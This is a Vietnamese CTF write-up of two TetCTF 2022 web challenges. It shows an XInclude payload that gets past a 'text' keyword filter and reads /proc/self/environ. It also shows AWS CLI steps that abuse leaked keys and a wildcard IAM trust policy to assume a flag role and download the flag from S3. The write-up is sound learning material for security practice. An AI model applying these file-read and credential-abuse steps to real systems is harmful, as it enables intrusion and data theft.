My TetCTF 2022

My TetCTF 2022

TLDR:

Cứ mỗi độ Tết Dương về, chúng ta lại có TetCTF để "khai hack" đầu năm. Năm nay mình khai hack không được tốt cho lắm khi giải được có mỗi 2 bài web, các category còn lại thì mấy thằng teammate "0ni0n" hầu như "ngoài vùng phủ sóng" hết trong quá trình thi nên kết quả chung cuộc của team mình khá fail :< Không sao, mục đích của mình đi thi là để học hỏi là chủ yếu, chứ giải này out trình thế mình cx ko dám đua top :D

2X-Service

image

[+] Source

1. Initial reconnaissance:

Bài này khá giống với bài XService ở Final SVATTT 2021, nhưng mà chắc chắn tác giả sẽ sửa lại gì đó. Thử nhập linh tinh gì đó vào 2 field XPATHXML rồi ấn Process thì nó alert ra "Nani?".

Check /source để lấy source về đọc cho chắc.

2. Source Analysis and Bypass XXE:

a) Reading and understand:

Web app sử dụng Flask để render các static file, flask_socketio để xử lý các WebSocket và ElementTree XML API để parse XML data có trong WebSocket. Các bạn chưa hiểu WebSocket có thể đọc tại đây.

Đoạn code mà chúng ta cần chú ý ở đây:

@socketio.on('message')
def handle_message(xpath, xml):
    if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower():
        try:
            res = ''
            root = ElementTree.fromstring(xml.strip())
            ElementInclude.include(root)
            for elem in root.findall(xpath):
                if elem.text != "":
                    res += elem.text + ", "
            emit('result', res[:-2])
        except Exception as e:
            emit('result', 'Nani?')
    else:
        emit('result', 'Nani?')

Hàm handle_message đảm nhận vai trò là server-side event handler cho một unnamed event gửi đến server, hay còn gọi là các message. Message được gửi đến server cần phải có đủ 2 thành phần là xpathxml, đồng thời bên trong string xml đã được lowercase không được chứa "text", nếu không server sẽ gửi reply message đến client đang connect đến với value "Nani?" ứng với key "result":

if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower():
    ...
else:
    emit('result', 'Nani?')

Không những vậy nếu biến xml chỉ là một string bình thường không chứa XML data thì khi parse với ElementTree XML API nó sẽ gây ra Exception và server cũng sẽ gửi đến client message "Nani?":

try:
    res = ''
    root = ElementTree.fromstring(xml.strip())
    ElementInclude.include(root)
    for elem in root.findall(xpath):
        if elem.text != "":
            res += elem.text + ", "
    emit('result', res[:-2])
except Exception as e:
    emit('result', 'Nani?')

--> Tóm lại sẽ có 2 tình huống sau khiến browser alert ra message "Nani?" khi chúng ta submit form:

+ Không nhập vào cái gì, hoặc thiếu một trong 2 field xpathxml

+ String nhập vào XML không phải là một XML data hợp lệ.

Để hiểu quá trình xử lí XML data và trả về result diễn ra như nào thì xin mời các bạn đọc phần Local Demo sau đây.

b) Local Demo:

Ở phần demo trên local này, thay vì lấy XMLXPATH từ form như web app trên, mình sẽ bỏ XML vào một file data.xml rồi đọc vào và XPATH sẽ được input từ bàn phím. Các quá trình xử lý XML data vẫn giữ nguyên không đổi.

# xml_parse.py
from xml.etree import ElementTree, ElementInclude

xml = open("data.xml", "r").read()
print("XPATH: ")
xpath = input()

try:
    res = ''
    root = ElementTree.fromstring(xml.strip())
    ElementInclude.include(root)
    for elem in root.findall(xpath):
        if elem.text != "":
            res += elem.text + ", "
    print('result:', res[:-2])
except Exception as e:
    print("Nani?")
# data.xml
<?xml version='1.0'?>
<!DOCTYPE resources [
  <!ENTITY te "te">
  <!ENTITY xt "xt">
]>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
  <data>
  Hello World
</data>
</document>

Ví dụ ta có XPATH='data', khi đó:

Cho các bạn chưa hiểu XPATH là gì có thể đọc tại đây. Nói dễ hiểu thì chúng ta cần cung cấp cho biến XPATH tên của một node mà chúng ta cần lấy value trong XML data, nó sẽ in ra value của node đó, trong trường hợp này là node có tên là data. Chúng ta hoàn toàn có thể lợi dụng điều này để đọc một file bất kì, chỉ cần chỉnh sửa một chút ở file data.xml, với flag.txt là một file bất kì với nội dung là hahahahahahaa:

# data.xml
<?xml version='1.0'?>
<!DOCTYPE resources [
  <!ENTITY text "text">
]>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
  <data>This document is about
  <xi:include href="flag.txt" parse="&text;"/>
 </data>
</document>

Kết quả:

Nhưng "text" not in xml.lower(), "text" không được phép có trong XML string. Vậy chúng ta bypass bằng cách nào? Rất đơn giản, chỉ cần chia đôi string "text" rồi bỏ nó vào 2 entity riêng rồi truyền vào attribute "parse". Kết quả vẫn sẽ giống như trên.

# data.xml
<?xml version='1.0'?>
<!DOCTYPE resources [
  <!ENTITY te "te">
  <!ENTITY xt "xt">
]>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
  <data>This document is about
  <xi:include href="flag.txt" parse="&te;&xt;"/>
</data>
</document>

Ngoài ra nếu như mình thay flag.txt bằng một file không tồn tại, ví dụ secret.txt, thì nó sẽ sinh ra Exception dẫn đến in ra "Nani?":

3. Add an event listener to read ouput:

Mình đã nghĩ đến đây là xong rồi, chỉ việc nhập vào XPATH là "data" còn XML thì paste nguyên cái file data.xml mới nhất kia lấy flag ngon ơ. Nhưng mà thế thì dễ quá!

Theo như demo trên local thì XML data của mình đã đúng format, 2 field XMLXPATH đều đã được điền đầy đủ, vậy chỉ còn một trường hợp duy nhất là file flag.txt không tồn tại trên hệ thống, bởi vì khi mình thử đọc các file khác như /proc/meminfo thì vẫn đọc được bình thường:

Hmmm, khá là guessing! Mình phải mò xem trong Linux có "magic file" nào mà tác giả có thể giấu flag ở đó không. Mình chợt nhớ ra ở SVATTT có bài nào đó dùng Flask và giấu flag ở trong environment variable của một process :D. Để đọc được các environment variable của chính process đang chạy web app này ta dùng /proc/self/environ:

Khá là cay cú vì alert prompt của Chrome đã giới hạn kí tự rồi, ông tác giả còn "chơi" mình bằng cách spam một dãy "dddddd..." để mình không thể đọc hết toàn bộ nội dung của file /proc/self/environ nữa :). Mà "chơi" kiểu này thì chắc kèo flag nằm ở /proc/self/environ rồi :D.

Mình chợt nảy ra một ý tưởng về việc đọc file /proc/self/environ qua console khi thấy đoạn này trong doc:

Chúng ta hoàn toàn có thể tự tạo một socket connection đến server, sau đó đặt một event lister tại connection đó để khi reply message gửi đến client, thay vì hiện trên alert, nó sẽ trả về trong console (bạn có thể tham khảo ý tưởng build script tại đây):

socket = io()
socket.connect('http://207.148.119.136:8003')
socket.on('connect', function() {
  console.log(socket.connected)
})
socket.on('result', function (data) {
  console.log(data);
});

Chúng ta paste cái script trên vào console để tạo event listener "result", sau đó submit form theo thứ tự như này:

+ xpath: data

+ xml:

<?xml version='1.0'?>
<!DOCTYPE resources [
  <!ENTITY te "te">
  <!ENTITY xt "xt">
]>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
  <data>This document is about
  <xi:include href="/proc/self/environ" parse="&te;&xt;"/>
</data>
</document>

Flag ở đây rồi, đúng như mình dự đoán!

TetCTF{Just_Warm_y0u_uP_:P__}

Picked Onions

Cloud challenge đầu tiên mà mình từng chơi. BTC nói TetCTF 2022 sẽ có modern web challenge, và bài này chứng minh BTC đã cực kì uy tín :D Trân trọng cảm ơn author của bài này là anh Chi Tran (@0xfatty) đã cho mình mượn acc AWS để giải được bài này!

image

[+] Source

1. Initial reconnaissance:

Website này chức năng nhìn sơ qua không có gì mấy ngoài quả meme huyền thoại kia. Nhưng có cái chức năng /secret khiến mình tò mò:

Một quả ảnh có tính clickbait cực mạnh khiến rất nhiều "con giời" download về rồi tìm cách steganography analysis cái ảnh này xem bên trong nó có flag hay không ????? :D. Nhưng mà ôi bạn ơi, challenge này thuộc category là web chứ có phải forensic đâu? Như tác giả bài này đã nói:

Vậy thì "secret" đằng sau bức ảnh này là gì? Bài học đầu đời khi chơi mảng web, đó là chúng ta cần phải biết CTRL + U:

Các website hiện nay thường lưu trữ các static file như image trên CDN (content delivery network), và cái trang này cũng không phải ngoại lệ. Nhờ CTRL+U ta biết được ảnh trên được lưu trữ trên một S3 Bucket. Chúng ta có thể xem bên trong Bucket này có gì vui với URL secret-tetctf.s3.us-east-1.amazonaws.com:

Cho ai muốn tìm hiểu kĩ về cái file XML này thì có xem tại đây. Hiểu nôm na thì đây là list tất cả các resource của web được chứa trên Bucket này. Bên cạnh cái ảnh I've_Got_a_Secret.jpg mà chúng ta thấy lúc nãy, còn có secret. Thử access vào secret thì ta lấy được file scret về:

Đây là một file python. Ngoài việc cho chúng ta biết web app này xài Flask và render static file của một số trang linh tinh, thì có chỗ này trông có vẻ khá "mlem":

dynamodb = boto3.resource('dynamodb', region_name='us-east-1',aws_access_key_id='A*******************',aws_secret_access_key='*DQnIi0Mhtsa*/*********************4S1Z0',region_name="us-east-1")

aws_access_key_idaws_secret_access_key đã bị leak (đã che vì lí do bảo mật)!!! Thử dùng AWS CLI và config các ecurity credentials của nó với aws_access_key_idaws_secret_access_key bị leak xem sao:

Sau đó làm một vài trò "con bò" với service dynamodb của Bucket này như aws dynamodb list-tables để rồi chỉ thấy có mỗi table customers, sau đó aws dynamodb scan --table-name customers để xem trong table customers có gì hay thì quả nhiên không có gì thật :D. Nếu mà giấu flag trong này luôn thì game dễ quá! Mình còn thử tạo một class có chứa payload reverse shell, serialize và ném lên DynamoDB để nó insert reverse shell vào table "customers" với hàm put_item (vì đề bài là picked onions, web app lại xài pickle làm mình liên tưởng đến lỗ hổng pickle deserialization). Nhưng mà như thế thì cũng lại dễ quá!

aws_access_key_id mà chúng ta đang dùng có role là dbb_user, role này không được cấp quyền để put item lên. Trong lúc đang bí bách thì thằng teammate của mình @baolongv3 đã dump ra được toàn bộ các role từ service IAM (AWS Identity and Access Management) của Bucket với lệnh aws iam list-roles (đọc về IAM tại đây):

Uầy, có hẳn CTF Role luôn! Thêm quả ...Accessing_Tet_CTF_Flag*Condition thế kia thì chắc kèo đây là một role được tác giả config chỉ dành riêng cho việc đọc flag rồi. Để ý trong đoạn IAM JSON policy elements reference mô tả về CTF Role có đoạn:

            "Principal": {
                            "AWS": "*"
                        },
                        "Action": "sts:AssumeRole",
                        "Condition": {
                            "StringLike": {
                                "aws:PrincipalArn": "arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*"
                            }
                        }
...
}

Đoạn JSON này cho chúng ta biết rằng bất cứ AWS account nào với role có ARN có dạng arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*, trong đó dầu * có nghĩa là "viết cái gì vào cũng được", đều có thể assume vào CTF Role này. Ví dụ chúng ta tạo 1 role có tên là antoine-Accessing_Tet_CTF_Flag_101, sau đó ARN được tạo ra của nó sẽ là arn:aws:iam::<iam's id>:role/antoine-Accessing_Tet_CTF_Flag_101 thì nó có thể assume được CTF Role.

Vấn đề bây giờ là chúng ta cần tạo một IAM user. Như các bạn có thể thấy trong video hướng dẫn setup IAM user, chúng ta cần có một account AWS, lúc register lại cần phải add thẻ visa, mà mình thì không có thẻ huhu =(((. Đang định chửi đây là visa challenge vì chạy ngược chạy xuôi vẫn không ai có acc AWS mà mượn thì có anh tác giả bài này là anh @0xfatty tốt bụng tạo giúp một cái IAM user cho mình chơi luôn :D

2. Exploit AWS S3 Bucket Access Control Misconfiguration:

Giờ mình sẽ dùng key id và secret key của test_user mà anh @0xfatty đưa cho thay vì ddb_user. Trong test_user mình sẽ tạo một role có ARN thỏa mãn điều kiện của CTF Role để có thể assume vào như ví dụ lúc nãy, bắt đầu với việc viết AssumeRolePolicyDocument:

{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Principal": {
          "AWS": "*" 
        },
        "Action": "sts:AssumeRole",
        "Condition": {}
      }
    ]
  }

Sau đó tạo một role với tên là antoine-Accessing_Tet_CTF_Flag_101 và add file test-policy.json (AssumeRolePolicyDocument) trên kia vào:

C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws iam create-role --role-name antoine-Accessing_Tet_CTF_Flag_101 --assume-role-policy-document file://test-policy.json
{
    "Role": {
        "Path": "/",
        "RoleName": "antoine-Accessing_Tet_CTF_Flag_101",
        "RoleId": "ARXXXXXXXXXXXXXXXXXXX",
        "Arn": "arn:aws:iam::50XXXXXXXXXX:role/antoine-Accessing_Tet_CTF_Flag_101",
        "CreateDate": "2022-01-03T10:37:12+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "*"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {}
                }
            ]
        }
    }
}

Assume vào role vừa mới tạo, AccessKeyId, SecretAccessKeySessionToken sẽ được sinh ra. Tạo các enviroment variables như AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEYAWS_SESSION_TOKEN tương ứng với 3 cái vừa output ra:

Với role antoine-Accessing_Tet_CTF_Flag_101 với mới assume vào thì chúng ta đã đủ điều kiện để asume tiếp vào CTF Role. Assume được vào CTF Role thì tiếp tục làm tương tự như sau khi vào antoine-Accessing_Tet_CTF_Flag_101:

C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws sts assume-role --role-arn "arn:aws:iam::509530203012:role/CTF_ROLE" --role-session-name antoinerolesession1
{
    "Credentials": {
        "AccessKeyId": "AXXXXXXXXXXXXXXXXXX",
        "SecretAccessKey": "Q5di89p/fXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/",
        "SessionToken": "IQoJb3JpZ2luX2VjEFMaCXVzLWVhc3QtMSJHMEUCIF666+UdD/zto6xA2YYxgo/UaKArvy22EDZjZ/JBLQlfAiEAgyCTIjz7WFwYKvkU/EsZxMUtGGU+lQaJp9NaOtMeS68qoAIIXBAAGgw1MDk1MzAyMDMwMTIiDAv8Jom3IWmxzlvp0Cr9AaWM2E1u4newbw1q0KFVKBmibwD+4WkuWiuYzc4JOMt+IAzk3c9/UlvCdV561XI1tyGsyKfy1b3G/nlVrttnuxChD1scfZ+6ArEmSBcCOtp5LjyhAT38eiD7ZVua2jIcBF8XePjTgbhOG556Zmwln5IhFuaBgcl0Zk79NHKY9gWgUFDZhQSIRBd+io3w/QogmbChW1tts/LHORtN53fDNdtyb8SK04+oldYHQDyzo4kmxLxAZLkWj2HHzRBiVdwx/kDcL4xzh3P8dwU4u4uoXe6BRpONIIYWrCcceDuGf5zG0IxHzeQgpXXSPSHBg30CXYftH/H7b80YL3N54nYw4KrLjgY6nQFDd4rPpPjdZwldVrGRBJ73VcK+akqcAP3qgRNAiFPQN9qnUs5vdqm/3P10DKFMbe/ZlWuvYhw3l/tnYLgAOxxxtV7RbyQoE/R9TfQuDDwM2yMTiTBcPmd/LTONF5nI/1u5cGvdeXt6fBmK15vAo1mo9FpkxtOoB4LTWCkOi1WxG1Xows+AqSYIcfZQQAbApjFn0Ympl+pennZeSdCW",
        "Expiration": "2022-01-03T11:52:16+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AXXXXXXXXXXXXXXXXXXXX:antoinerolesession1",
        "Arn": "arn:aws:sts::5XXXXXXXXXXX:assumed-role/CTF_ROLE/antoinerolesession1"
    }
}

C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>SET AWS_ACCESS_KEY_ID=<AccessKeyId>

C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>SET AWS_SECRET_ACCESS_KEY=<SecretAccessKey>

C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>SET AWS_SESSION_TOKEN=<SessionToken>

Confirm lại IAM user đã nhận được CTF Role chưa cho chắc :v::

C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws sts get-caller-identity
{
    "UserId": "AXXXXXXXXXXXXXXXXXXXX:antoinerolesession1",
    "Account": "509530203012",
    "Arn": "arn:aws:sts::5XXXXXXXXXXX:assumed-role/CTF_ROLE/antoinerolesession1"
}

Cuối cùng thì chúng ta đã có thể thoải mái "đi lượn" trong Bucket của web app này và lấy flag :v: :

C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws s3api list-buckets --query "Buckets[].Name"
[
    "secret-tetctf",
    "tet-ctf-secret"
]

C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws s3 ls s3://tet-ctf-secret
2021-12-29 22:18:42         29 flag

C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws s3 cp s3://tet-ctf-secret/flag flag.txt
download: s3://tet-ctf-secret/flag to .\flag.txt

Flag đã được down về current directory, chỉ việc lấy ra và submit nữa thôi:

TetCTF{AssumE_R0le-iS-A-MuSt}